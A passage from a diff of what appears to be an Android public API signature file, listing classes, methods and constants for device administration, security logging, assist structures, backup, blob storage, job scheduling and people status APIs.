+    field public static final int PRIVATE_DNS_SET_ERROR_FAILURE_SETTING = 2; // 0x2
+    field public static final int PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING = 1; // 0x1
+    field public static final int PRIVATE_DNS_SET_NO_ERROR = 0; // 0x0
+    field public static final int PROVISIONING_MODE_FULLY_MANAGED_DEVICE = 1; // 0x1
+    field public static final int PROVISIONING_MODE_MANAGED_PROFILE = 2; // 0x2
+    field public static final int PROVISIONING_MODE_MANAGED_PROFILE_ON_PERSONAL_DEVICE = 3; // 0x3
+    field public static final int RESET_PASSWORD_DO_NOT_ASK_CREDENTIALS_ON_BOOT = 2; // 0x2
+    field public static final int RESET_PASSWORD_REQUIRE_ENTRY = 1; // 0x1
+    field public static final int SKIP_SETUP_WIZARD = 1; // 0x1
+    field public static final int WIPE_EUICC = 4; // 0x4
+    field public static final int WIPE_EXTERNAL_STORAGE = 1; // 0x1
+    field public static final int WIPE_RESET_PROTECTION_DATA = 2; // 0x2
+    field public static final int WIPE_SILENTLY = 8; // 0x8
+  }
+
+  public abstract static class DevicePolicyManager.InstallSystemUpdateCallback {
+    ctor public DevicePolicyManager.InstallSystemUpdateCallback();
+    method public void onInstallUpdateError(int, @NonNull String);
+    field public static final int UPDATE_ERROR_BATTERY_LOW = 5; // 0x5
+    field public static final int UPDATE_ERROR_FILE_NOT_FOUND = 4; // 0x4
+    field public static final int UPDATE_ERROR_INCORRECT_OS_VERSION = 2; // 0x2
+    field public static final int UPDATE_ERROR_UNKNOWN = 1; // 0x1
+    field public static final int UPDATE_ERROR_UPDATE_FILE_INVALID = 3; // 0x3
+  }
+
+  public static interface DevicePolicyManager.OnClearApplicationUserDataListener {
+    method public void onApplicationUserDataCleared(String, boolean);
+  }
+
+  public final class DnsEvent extends android.app.admin.NetworkEvent implements android.os.Parcelable {
+    method public String getHostname();
+    method public java.util.List<java.net.InetAddress> getInetAddresses();
+    method public int getTotalResolvedAddressCount();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.DnsEvent> CREATOR;
+  }
+
+  public final class FactoryResetProtectionPolicy implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<java.lang.String> getFactoryResetProtectionAccounts();
+    method public boolean isFactoryResetProtectionEnabled();
+    method public void writeToParcel(@NonNull android.os.Parcel, @Nullable int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.FactoryResetProtectionPolicy> CREATOR;
+  }
+
+  public static class FactoryResetProtectionPolicy.Builder {
+    ctor public FactoryResetProtectionPolicy.Builder();
+    method @NonNull public android.app.admin.FactoryResetProtectionPolicy build();
+    method @NonNull public android.app.admin.FactoryResetProtectionPolicy.Builder setFactoryResetProtectionAccounts(@NonNull java.util.List<java.lang.String>);
+    method @NonNull public android.app.admin.FactoryResetProtectionPolicy.Builder setFactoryResetProtectionEnabled(boolean);
+  }
+
+  public class FreezePeriod {
+    ctor public FreezePeriod(java.time.MonthDay, java.time.MonthDay);
+    method public java.time.MonthDay getEnd();
+    method public java.time.MonthDay getStart();
+  }
+
+  public abstract class NetworkEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getId();
+    method public String getPackageName();
+    method public long getTimestamp();
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.NetworkEvent> CREATOR;
+  }
+
+  public class SecurityLog {
+    ctor public SecurityLog();
+    field public static final int LEVEL_ERROR = 3; // 0x3
+    field public static final int LEVEL_INFO = 1; // 0x1
+    field public static final int LEVEL_WARNING = 2; // 0x2
+    field public static final int TAG_ADB_SHELL_CMD = 210002; // 0x33452
+    field public static final int TAG_ADB_SHELL_INTERACTIVE = 210001; // 0x33451
+    field public static final int TAG_APP_PROCESS_START = 210005; // 0x33455
+    field public static final int TAG_CAMERA_POLICY_SET = 210034; // 0x33472
+    field public static final int TAG_CERT_AUTHORITY_INSTALLED = 210029; // 0x3346d
+    field public static final int TAG_CERT_AUTHORITY_REMOVED = 210030; // 0x3346e
+    field public static final int TAG_CERT_VALIDATION_FAILURE = 210033; // 0x33471
+    field public static final int TAG_CRYPTO_SELF_TEST_COMPLETED = 210031; // 0x3346f
+    field public static final int TAG_KEYGUARD_DISABLED_FEATURES_SET = 210021; // 0x33465
+    field public static final int TAG_KEYGUARD_DISMISSED = 210006; // 0x33456
+    field public static final int TAG_KEYGUARD_DISMISS_AUTH_ATTEMPT = 210007; // 0x33457
+    field public static final int TAG_KEYGUARD_SECURED = 210008; // 0x33458
+    field public static final int TAG_KEY_DESTRUCTION = 210026; // 0x3346a
+    field public static final int TAG_KEY_GENERATED = 210024; // 0x33468
+    field public static final int TAG_KEY_IMPORT = 210025; // 0x33469
+    field public static final int TAG_KEY_INTEGRITY_VIOLATION = 210032; // 0x33470
+    field public static final int TAG_LOGGING_STARTED = 210011; // 0x3345b
+    field public static final int TAG_LOGGING_STOPPED = 210012; // 0x3345c
+    field public static final int TAG_LOG_BUFFER_SIZE_CRITICAL = 210015; // 0x3345f
+    field public static final int TAG_MAX_PASSWORD_ATTEMPTS_SET = 210020; // 0x33464
+    field public static final int TAG_MAX_SCREEN_LOCK_TIMEOUT_SET = 210019; // 0x33463
+    field public static final int TAG_MEDIA_MOUNT = 210013; // 0x3345d
+    field public static final int TAG_MEDIA_UNMOUNT = 210014; // 0x3345e
+    field public static final int TAG_OS_SHUTDOWN = 210010; // 0x3345a
+    field public static final int TAG_OS_STARTUP = 210009; // 0x33459
+    field public static final int TAG_PASSWORD_COMPLEXITY_REQUIRED = 210035; // 0x33473
+    field public static final int TAG_PASSWORD_COMPLEXITY_SET = 210017; // 0x33461
+    field public static final int TAG_PASSWORD_EXPIRATION_SET = 210016; // 0x33460
+    field public static final int TAG_PASSWORD_HISTORY_LENGTH_SET = 210018; // 0x33462
+    field public static final int TAG_REMOTE_LOCK = 210022; // 0x33466
+    field public static final int TAG_SYNC_RECV_FILE = 210003; // 0x33453
+    field public static final int TAG_SYNC_SEND_FILE = 210004; // 0x33454
+    field public static final int TAG_USER_RESTRICTION_ADDED = 210027; // 0x3346b
+    field public static final int TAG_USER_RESTRICTION_REMOVED = 210028; // 0x3346c
+    field public static final int TAG_WIPE_FAILURE = 210023; // 0x33467
+  }
+
+  public static final class SecurityLog.SecurityEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method public Object getData();
+    method public long getId();
+    method public int getLogLevel();
+    method public int getTag();
+    method public long getTimeNanos();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.SecurityLog.SecurityEvent> CREATOR;
+  }
+
+  public final class SystemUpdateInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getReceivedTime();
+    method public int getSecurityPatchState();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.SystemUpdateInfo> CREATOR;
+    field public static final int SECURITY_PATCH_STATE_FALSE = 1; // 0x1
+    field public static final int SECURITY_PATCH_STATE_TRUE = 2; // 0x2
+    field public static final int SECURITY_PATCH_STATE_UNKNOWN = 0; // 0x0
+  }
+
+  public final class SystemUpdatePolicy implements android.os.Parcelable {
+    method public static android.app.admin.SystemUpdatePolicy createAutomaticInstallPolicy();
+    method public static android.app.admin.SystemUpdatePolicy createPostponeInstallPolicy();
+    method public static android.app.admin.SystemUpdatePolicy createWindowedInstallPolicy(int, int);
+    method public int describeContents();
+    method public java.util.List<android.app.admin.FreezePeriod> getFreezePeriods();
+    method public int getInstallWindowEnd();
+    method public int getInstallWindowStart();
+    method public int getPolicyType();
+    method public android.app.admin.SystemUpdatePolicy setFreezePeriods(java.util.List<android.app.admin.FreezePeriod>);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.SystemUpdatePolicy> CREATOR;
+    field public static final int TYPE_INSTALL_AUTOMATIC = 1; // 0x1
+    field public static final int TYPE_INSTALL_WINDOWED = 2; // 0x2
+    field public static final int TYPE_POSTPONE = 3; // 0x3
+  }
+
+  public static final class SystemUpdatePolicy.ValidationFailedException extends java.lang.IllegalArgumentException implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getErrorCode();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.SystemUpdatePolicy.ValidationFailedException> CREATOR;
+    field public static final int ERROR_COMBINED_FREEZE_PERIOD_TOO_CLOSE = 6; // 0x6
+    field public static final int ERROR_COMBINED_FREEZE_PERIOD_TOO_LONG = 5; // 0x5
+    field public static final int ERROR_DUPLICATE_OR_OVERLAP = 2; // 0x2
+    field public static final int ERROR_NEW_FREEZE_PERIOD_TOO_CLOSE = 4; // 0x4
+    field public static final int ERROR_NEW_FREEZE_PERIOD_TOO_LONG = 3; // 0x3
+    field public static final int ERROR_UNKNOWN = 1; // 0x1
+  }
+
+  public final class UnsafeStateException extends java.lang.IllegalStateException implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<java.lang.Integer> getReasons();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.UnsafeStateException> CREATOR;
+  }
+
+}
+
+package android.app.assist {
+
+  public class AssistContent implements android.os.Parcelable {
+    ctor public AssistContent();
+    method public int describeContents();
+    method public android.content.ClipData getClipData();
+    method public android.os.Bundle getExtras();
+    method public android.content.Intent getIntent();
+    method public String getStructuredData();
+    method public android.net.Uri getWebUri();
+    method public boolean isAppProvidedIntent();
+    method public boolean isAppProvidedWebUri();
+    method public void setClipData(android.content.ClipData);
+    method public void setIntent(android.content.Intent);
+    method public void setStructuredData(String);
+    method public void setWebUri(android.net.Uri);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.assist.AssistContent> CREATOR;
+  }
+
+  public class AssistStructure implements android.os.Parcelable {
+    ctor public AssistStructure();
+    method public int describeContents();
+    method public long getAcquisitionEndTime();
+    method public long getAcquisitionStartTime();
+    method public android.content.ComponentName getActivityComponent();
+    method public android.app.assist.AssistStructure.WindowNode getWindowNodeAt(int);
+    method public int getWindowNodeCount();
+    method public boolean isHomeActivity();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.assist.AssistStructure> CREATOR;
+  }
+
+  public static class AssistStructure.ViewNode {
+    method public float getAlpha();
+    method @Nullable public String[] getAutofillHints();
+    method @Nullable public android.view.autofill.AutofillId getAutofillId();
+    method @Nullable public CharSequence[] getAutofillOptions();
+    method public int getAutofillType();
+    method @Nullable public android.view.autofill.AutofillValue getAutofillValue();
+    method public android.app.assist.AssistStructure.ViewNode getChildAt(int);
+    method public int getChildCount();
+    method @Nullable public String getClassName();
+    method @Nullable public CharSequence getContentDescription();
+    method public float getElevation();
+    method @Nullable public android.os.Bundle getExtras();
+    method public int getHeight();
+    method @Nullable public String getHint();
+    method @Nullable public String getHintIdEntry();
+    method @Nullable public android.view.ViewStructure.HtmlInfo getHtmlInfo();
+    method public int getId();
+    method @Nullable public String getIdEntry();
+    method @Nullable public String getIdPackage();
+    method @Nullable public String getIdType();
+    method public int getImportantForAutofill();
+    method public int getInputType();
+    method public int getLeft();
+    method @Nullable public android.os.LocaleList getLocaleList();
+    method public int getMaxTextEms();
+    method public int getMaxTextLength();
+    method public int getMinTextEms();
+    method @Nullable public String[] getReceiveContentMimeTypes();
+    method public int getScrollX();
+    method public int getScrollY();
+    method @Nullable public CharSequence getText();
+    method public int getTextBackgroundColor();
+    method public int getTextColor();
+    method @Nullable public String getTextIdEntry();
+    method @Nullable public int[] getTextLineBaselines();
+    method @Nullable public int[] getTextLineCharOffsets();
+    method public int getTextSelectionEnd();
+    method public int getTextSelectionStart();
+    method public float getTextSize();
+    method public int getTextStyle();
+    method public int getTop();
+    method public android.graphics.Matrix getTransformation();
+    method public int getVisibility();
+    method @Nullable public String getWebDomain();
+    method @Nullable public String getWebScheme();
+    method public int getWidth();
+    method public boolean isAccessibilityFocused();
+    method public boolean isActivated();
+    method public boolean isAssistBlocked();
+    method public boolean isCheckable();
+    method public boolean isChecked();
+    method public boolean isClickable();
+    method public boolean isContextClickable();
+    method public boolean isEnabled();
+    method public boolean isFocusable();
+    method public boolean isFocused();
+    method public boolean isLongClickable();
+    method public boolean isOpaque();
+    method public boolean isSelected();
+    field public static final int TEXT_COLOR_UNDEFINED = 1; // 0x1
+    field public static final int TEXT_STYLE_BOLD = 1; // 0x1
+    field public static final int TEXT_STYLE_ITALIC = 2; // 0x2
+    field public static final int TEXT_STYLE_STRIKE_THRU = 8; // 0x8
+    field public static final int TEXT_STYLE_UNDERLINE = 4; // 0x4
+  }
+
+  public static class AssistStructure.WindowNode {
+    method public int getDisplayId();
+    method public int getHeight();
+    method public int getLeft();
+    method public android.app.assist.AssistStructure.ViewNode getRootViewNode();
+    method public CharSequence getTitle();
+    method public int getTop();
+    method public int getWidth();
+  }
+
+}
+
+package android.app.backup {
+
+  public abstract class BackupAgent extends android.content.ContextWrapper {
+    ctor public BackupAgent();
+    method public final void fullBackupFile(java.io.File, android.app.backup.FullBackupDataOutput);
+    method public abstract void onBackup(android.os.ParcelFileDescriptor, android.app.backup.BackupDataOutput, android.os.ParcelFileDescriptor) throws java.io.IOException;
+    method public void onCreate();
+    method public void onDestroy();
+    method public void onFullBackup(android.app.backup.FullBackupDataOutput) throws java.io.IOException;
+    method public void onQuotaExceeded(long, long);
+    method public abstract void onRestore(android.app.backup.BackupDataInput, int, android.os.ParcelFileDescriptor) throws java.io.IOException;
+    method public void onRestore(android.app.backup.BackupDataInput, long, android.os.ParcelFileDescriptor) throws java.io.IOException;
+    method public void onRestoreFile(android.os.ParcelFileDescriptor, long, java.io.File, int, long, long) throws java.io.IOException;
+    method public void onRestoreFinished();
+    field public static final int FLAG_CLIENT_SIDE_ENCRYPTION_ENABLED = 1; // 0x1
+    field public static final int FLAG_DEVICE_TO_DEVICE_TRANSFER = 2; // 0x2
+    field public static final int TYPE_DIRECTORY = 2; // 0x2
+    field public static final int TYPE_FILE = 1; // 0x1
+  }
+
+  public class BackupAgentHelper extends android.app.backup.BackupAgent {
+    ctor public BackupAgentHelper();
+    method public void addHelper(String, android.app.backup.BackupHelper);
+    method public void onBackup(android.os.ParcelFileDescriptor, android.app.backup.BackupDataOutput, android.os.ParcelFileDescriptor) throws java.io.IOException;
+    method public void onRestore(android.app.backup.BackupDataInput, int, android.os.ParcelFileDescriptor) throws java.io.IOException;
+  }
+
+  public class BackupDataInput {
+    method public int getDataSize();
+    method public String getKey();
+    method public int readEntityData(byte[], int, int) throws java.io.IOException;
+    method public boolean readNextHeader() throws java.io.IOException;
+    method public void skipEntityData() throws java.io.IOException;
+  }
+
+  public class BackupDataInputStream extends java.io.InputStream {
+    method public String getKey();
+    method public int read() throws java.io.IOException;
+    method public int size();
+  }
+
+  public class BackupDataOutput {
+    method public long getQuota();
+    method public int getTransportFlags();
+    method public int writeEntityData(byte[], int) throws java.io.IOException;
+    method public int writeEntityHeader(String, int) throws java.io.IOException;
+  }
+
+  public interface BackupHelper {
+    method public void performBackup(android.os.ParcelFileDescriptor, android.app.backup.BackupDataOutput, android.os.ParcelFileDescriptor);
+    method public void restoreEntity(android.app.backup.BackupDataInputStream);
+    method public void writeNewStateDescription(android.os.ParcelFileDescriptor);
+  }
+
+  public class BackupManager {
+    ctor public BackupManager(android.content.Context);
+    method public void dataChanged();
+    method public static void dataChanged(String);
+    method @Nullable public android.os.UserHandle getUserForAncestralSerialNumber(long);
+    method @Deprecated public int requestRestore(android.app.backup.RestoreObserver);
+  }
+
+  public class FileBackupHelper implements android.app.backup.BackupHelper {
+    ctor public FileBackupHelper(android.content.Context, java.lang.String...);
+    method public void performBackup(android.os.ParcelFileDescriptor, android.app.backup.BackupDataOutput, android.os.ParcelFileDescriptor);
+    method public void restoreEntity(android.app.backup.BackupDataInputStream);
+    method public void writeNewStateDescription(android.os.ParcelFileDescriptor);
+  }
+
+  public class FullBackupDataOutput {
+    method public long getQuota();
+    method public int getTransportFlags();
+  }
+
+  public abstract class RestoreObserver {
+    ctor public RestoreObserver();
+    method public void onUpdate(int, String);
+    method public void restoreFinished(int);
+    method public void restoreStarting(int);
+  }
+
+  public class SharedPreferencesBackupHelper implements android.app.backup.BackupHelper {
+    ctor public SharedPreferencesBackupHelper(android.content.Context, java.lang.String...);
+    method public void performBackup(android.os.ParcelFileDescriptor, android.app.backup.BackupDataOutput, android.os.ParcelFileDescriptor);
+    method public void restoreEntity(android.app.backup.BackupDataInputStream);
+    method public void writeNewStateDescription(android.os.ParcelFileDescriptor);
+  }
+
+}
+
+package android.app.blob {
+
+  public final class BlobHandle implements android.os.Parcelable {
+    method @NonNull public static android.app.blob.BlobHandle createWithSha256(@NonNull byte[], @NonNull CharSequence, long, @NonNull String);
+    method public int describeContents();
+    method public long getExpiryTimeMillis();
+    method @NonNull public CharSequence getLabel();
+    method @NonNull public byte[] getSha256Digest();
+    method @NonNull public String getTag();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.blob.BlobHandle> CREATOR;
+  }
+
+  public class BlobStoreManager {
+    method public void abandonSession(@IntRange(from=1) long) throws java.io.IOException;
+    method public void acquireLease(@NonNull android.app.blob.BlobHandle, @IdRes int, long) throws java.io.IOException;
+    method public void acquireLease(@NonNull android.app.blob.BlobHandle, @NonNull CharSequence, long) throws java.io.IOException;
+    method public void acquireLease(@NonNull android.app.blob.BlobHandle, @IdRes int) throws java.io.IOException;
+    method public void acquireLease(@NonNull android.app.blob.BlobHandle, @NonNull CharSequence) throws java.io.IOException;
+    method @IntRange(from=1) public long createSession(@NonNull android.app.blob.BlobHandle) throws java.io.IOException;
+    method @NonNull public java.util.List<android.app.blob.BlobHandle> getLeasedBlobs() throws java.io.IOException;
+    method @IntRange(from=0) public long getRemainingLeaseQuotaBytes();
+    method @NonNull public android.os.ParcelFileDescriptor openBlob(@NonNull android.app.blob.BlobHandle) throws java.io.IOException;
+    method @NonNull public android.app.blob.BlobStoreManager.Session openSession(@IntRange(from=1) long) throws java.io.IOException;
+    method public void releaseLease(@NonNull android.app.blob.BlobHandle) throws java.io.IOException;
+  }
+
+  public static class BlobStoreManager.Session implements java.io.Closeable {
+    method public void abandon() throws java.io.IOException;
+    method public void allowPackageAccess(@NonNull String, @NonNull byte[]) throws java.io.IOException;
+    method public void allowPublicAccess() throws java.io.IOException;
+    method public void allowSameSignatureAccess() throws java.io.IOException;
+    method public void close() throws java.io.IOException;
+    method public void commit(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Integer>) throws java.io.IOException;
+    method public long getSize() throws java.io.IOException;
+    method public boolean isPackageAccessAllowed(@NonNull String, @NonNull byte[]) throws java.io.IOException;
+    method public boolean isPublicAccessAllowed() throws java.io.IOException;
+    method public boolean isSameSignatureAccessAllowed() throws java.io.IOException;
+    method @NonNull public android.os.ParcelFileDescriptor openRead() throws java.io.IOException;
+    method @NonNull public android.os.ParcelFileDescriptor openWrite(long, long) throws java.io.IOException;
+  }
+
+}
+
+package android.app.job {
+
+  public class JobInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getBackoffPolicy();
+    method @Nullable public android.content.ClipData getClipData();
+    method public int getClipGrantFlags();
+    method public long getEstimatedNetworkDownloadBytes();
+    method public long getEstimatedNetworkUploadBytes();
+    method @NonNull public android.os.PersistableBundle getExtras();
+    method public long getFlexMillis();
+    method public int getId();
+    method public long getInitialBackoffMillis();
+    method public long getIntervalMillis();
+    method public long getMaxExecutionDelayMillis();
+    method public static final long getMinFlexMillis();
+    method public long getMinLatencyMillis();
+    method public static final long getMinPeriodMillis();
+    method @Deprecated public int getNetworkType();
+    method @Nullable public android.net.NetworkRequest getRequiredNetwork();
+    method @NonNull public android.content.ComponentName getService();
+    method @NonNull public android.os.Bundle getTransientExtras();
+    method public long getTriggerContentMaxDelay();
+    method public long getTriggerContentUpdateDelay();
+    method @Nullable public android.app.job.JobInfo.TriggerContentUri[] getTriggerContentUris();
+    method public boolean isExpedited();
+    method public boolean isImportantWhileForeground();
+    method public boolean isPeriodic();
+    method public boolean isPersisted();
+    method public boolean isPrefetch();
+    method public boolean isRequireBatteryNotLow();
+    method public boolean isRequireCharging();
+    method public boolean isRequireDeviceIdle();
+    method public boolean isRequireStorageNotLow();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int BACKOFF_POLICY_EXPONENTIAL = 1; // 0x1
+    field public static final int BACKOFF_POLICY_LINEAR = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.job.JobInfo> CREATOR;
+    field public static final long DEFAULT_INITIAL_BACKOFF_MILLIS = 30000L; // 0x7530L
+    field public static final long MAX_BACKOFF_DELAY_MILLIS = 18000000L; // 0x112a880L
+    field public static final int NETWORK_BYTES_UNKNOWN = -1; // 0xffffffff
+    field public static final int NETWORK_TYPE_ANY = 1; // 0x1
+    field public static final int NETWORK_TYPE_CELLULAR = 4; // 0x4
+    field @Deprecated public static final int NETWORK_TYPE_METERED = 4; // 0x4
+    field public static final int NETWORK_TYPE_NONE = 0; // 0x0
+    field public static final int NETWORK_TYPE_NOT_ROAMING = 3; // 0x3
+    field public static final int NETWORK_TYPE_UNMETERED = 2; // 0x2
+  }
+
+  public static final class JobInfo.Builder {
+    ctor public JobInfo.Builder(int, @NonNull android.content.ComponentName);
+    method public android.app.job.JobInfo.Builder addTriggerContentUri(@NonNull android.app.job.JobInfo.TriggerContentUri);
+    method public android.app.job.JobInfo build();
+    method public android.app.job.JobInfo.Builder setBackoffCriteria(long, int);
+    method public android.app.job.JobInfo.Builder setClipData(@Nullable android.content.ClipData, int);
+    method public android.app.job.JobInfo.Builder setEstimatedNetworkBytes(long, long);
+    method @NonNull public android.app.job.JobInfo.Builder setExpedited(boolean);
+    method public android.app.job.JobInfo.Builder setExtras(@NonNull android.os.PersistableBundle);
+    method @Deprecated public android.app.job.JobInfo.Builder setImportantWhileForeground(boolean);
+    method public android.app.job.JobInfo.Builder setMinimumLatency(long);
+    method public android.app.job.JobInfo.Builder setOverrideDeadline(long);
+    method public android.app.job.JobInfo.Builder setPeriodic(long);
+    method public android.app.job.JobInfo.Builder setPeriodic(long, long);
+    method @RequiresPermission(android.Manifest.permission.RECEIVE_BOOT_COMPLETED) public android.app.job.JobInfo.Builder setPersisted(boolean);
+    method public android.app.job.JobInfo.Builder setPrefetch(boolean);
+    method public android.app.job.JobInfo.Builder setRequiredNetwork(@Nullable android.net.NetworkRequest);
+    method public android.app.job.JobInfo.Builder setRequiredNetworkType(int);
+    method public android.app.job.JobInfo.Builder setRequiresBatteryNotLow(boolean);
+    method public android.app.job.JobInfo.Builder setRequiresCharging(boolean);
+    method public android.app.job.JobInfo.Builder setRequiresDeviceIdle(boolean);
+    method public android.app.job.JobInfo.Builder setRequiresStorageNotLow(boolean);
+    method public android.app.job.JobInfo.Builder setTransientExtras(@NonNull android.os.Bundle);
+    method public android.app.job.JobInfo.Builder setTriggerContentMaxDelay(long);
+    method public android.app.job.JobInfo.Builder setTriggerContentUpdateDelay(long);
+  }
+
+  public static final class JobInfo.TriggerContentUri implements android.os.Parcelable {
+    ctor public JobInfo.TriggerContentUri(@NonNull android.net.Uri, int);
+    method public int describeContents();
+    method public int getFlags();
+    method public android.net.Uri getUri();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.job.JobInfo.TriggerContentUri> CREATOR;
+    field public static final int FLAG_NOTIFY_FOR_DESCENDANTS = 1; // 0x1
+  }
+
+  public class JobParameters implements android.os.Parcelable {
+    method public void completeWork(@NonNull android.app.job.JobWorkItem);
+    method @Nullable public android.app.job.JobWorkItem dequeueWork();
+    method public int describeContents();
+    method @Nullable public android.content.ClipData getClipData();
+    method public int getClipGrantFlags();
+    method @NonNull public android.os.PersistableBundle getExtras();
+    method public int getJobId();
+    method @Nullable public android.net.Network getNetwork();
+    method public int getStopReason();
+    method @NonNull public android.os.Bundle getTransientExtras();
+    method @Nullable public String[] getTriggeredContentAuthorities();
+    method @Nullable public android.net.Uri[] getTriggeredContentUris();
+    method public boolean isExpeditedJob();
+    method public boolean isOverrideDeadlineExpired();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.job.JobParameters> CREATOR;
+    field public static final int STOP_REASON_APP_STANDBY = 12; // 0xc
+    field public static final int STOP_REASON_BACKGROUND_RESTRICTION = 11; // 0xb
+    field public static final int STOP_REASON_CANCELLED_BY_APP = 1; // 0x1
+    field public static final int STOP_REASON_CONSTRAINT_BATTERY_NOT_LOW = 5; // 0x5
+    field public static final int STOP_REASON_CONSTRAINT_CHARGING = 6; // 0x6
+    field public static final int STOP_REASON_CONSTRAINT_CONNECTIVITY = 7; // 0x7
+    field public static final int STOP_REASON_CONSTRAINT_DEVICE_IDLE = 8; // 0x8
+    field public static final int STOP_REASON_CONSTRAINT_STORAGE_NOT_LOW = 9; // 0x9
+    field public static final int STOP_REASON_DEVICE_STATE = 4; // 0x4
+    field public static final int STOP_REASON_PREEMPT = 2; // 0x2
+    field public static final int STOP_REASON_QUOTA = 10; // 0xa
+    field public static final int STOP_REASON_SYSTEM_PROCESSING = 14; // 0xe
+    field public static final int STOP_REASON_TIMEOUT = 3; // 0x3
+    field public static final int STOP_REASON_UNDEFINED = 0; // 0x0
+    field public static final int STOP_REASON_USER = 13; // 0xd
+  }
+
+  public abstract class JobScheduler {
+    ctor public JobScheduler();
+    method public abstract void cancel(int);
+    method public abstract void cancelAll();
+    method public abstract int enqueue(@NonNull android.app.job.JobInfo, @NonNull android.app.job.JobWorkItem);
+    method @NonNull public abstract java.util.List<android.app.job.JobInfo> getAllPendingJobs();
+    method @Nullable public abstract android.app.job.JobInfo getPendingJob(int);
+    method public abstract int schedule(@NonNull android.app.job.JobInfo);
+    field public static final int RESULT_FAILURE = 0; // 0x0
+    field public static final int RESULT_SUCCESS = 1; // 0x1
+  }
+
+  public abstract class JobService extends android.app.Service {
+    ctor public JobService();
+    method public final void jobFinished(android.app.job.JobParameters, boolean);
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public abstract boolean onStartJob(android.app.job.JobParameters);
+    method public abstract boolean onStopJob(android.app.job.JobParameters);
+    field public static final String PERMISSION_BIND = "android.permission.BIND_JOB_SERVICE";
+  }
+
+  public abstract class JobServiceEngine {
+    ctor public JobServiceEngine(android.app.Service);
+    method public final android.os.IBinder getBinder();
+    method public void jobFinished(android.app.job.JobParameters, boolean);
+    method public abstract boolean onStartJob(android.app.job.JobParameters);
+    method public abstract boolean onStopJob(android.app.job.JobParameters);
+  }
+
+  public final class JobWorkItem implements android.os.Parcelable {
+    ctor public JobWorkItem(android.content.Intent);
+    ctor public JobWorkItem(android.content.Intent, long, long);
+    method public int describeContents();
+    method public int getDeliveryCount();
+    method public long getEstimatedNetworkDownloadBytes();
+    method public long getEstimatedNetworkUploadBytes();
+    method public android.content.Intent getIntent();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.job.JobWorkItem> CREATOR;
+  }
+
+}
+
+package android.app.people {
+
+  public final class ConversationStatus implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getActivity();
+    method public int getAvailability();
+    method @Nullable public CharSequence getDescription();
+    method public long getEndTimeMillis();
+    method @Nullable public android.graphics.drawable.Icon getIcon();
+    method @NonNull public String getId();
+    method public long getStartTimeMillis();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int ACTIVITY_ANNIVERSARY = 2; // 0x2
+    field public static final int ACTIVITY_AUDIO = 4; // 0x4
+    field public static final int ACTIVITY_BIRTHDAY = 1; // 0x1
+    field public static final int ACTIVITY_GAME = 6; // 0x6
+    field public static final int ACTIVITY_LOCATION = 7; // 0x7
+    field public static final int ACTIVITY_NEW_STORY = 3; // 0x3
+    field public static final int ACTIVITY_OTHER = 0; // 0x0
+    field public static final int ACTIVITY_UPCOMING_BIRTHDAY = 8; // 0x8
+    field public static final int ACTIVITY_VIDEO = 5; // 0x5
+    field public static final int AVAILABILITY_AVAILABLE = 0; // 0x0
+    field public static final int AVAILABILITY_BUSY = 1; // 0x1
+    field public static final int AVAILABILITY_OFFLINE = 2; // 0x2
+    field public static final int AVAILABILITY_UNKNOWN = -1; // 0xffffffff
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.people.ConversationStatus> CREATOR;
+  }
+
+  public static final class ConversationStatus.Builder {
+    ctor public ConversationStatus.Builder(@NonNull String, @NonNull int);
+    method @NonNull public android.app.people.ConversationStatus build();
+    method @NonNull public android.app.people.ConversationStatus.Builder setAvailability(int);
+    method @NonNull public android.app.people.ConversationStatus.Builder setDescription(@Nullable CharSequence);
+    method @NonNull public android.app.people.ConversationStatus.Builder setEndTimeMillis(long);
+    method @NonNull public android.app.people.ConversationStatus.Builder setIcon(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.app.people.ConversationStatus.Builder setStartTimeMillis(long);
+  }
+
+  public final class PeopleManager {
+    method public void addOrUpdateStatus(@NonNull String, @NonNull android.app.people.ConversationStatus);
+    method public void clearStatus(@NonNull String, @NonNull String);
+    method public void clearStatuses(@NonNull String);
+    method @NonNull public java.util.List<android.app.people.ConversationStatus> getStatuses(@NonNull String);
+  }
+
+}
+
+package android.app.slice {
+
+  public final class Slice implements android.os.Parcelable {
+    ctor protected Slice(android.os.Parcel);
+    method public int describeContents();
+    method public java.util.List<java.lang.String> getHints();
+    method public java.util.List<android.app.slice.SliceItem> getItems();
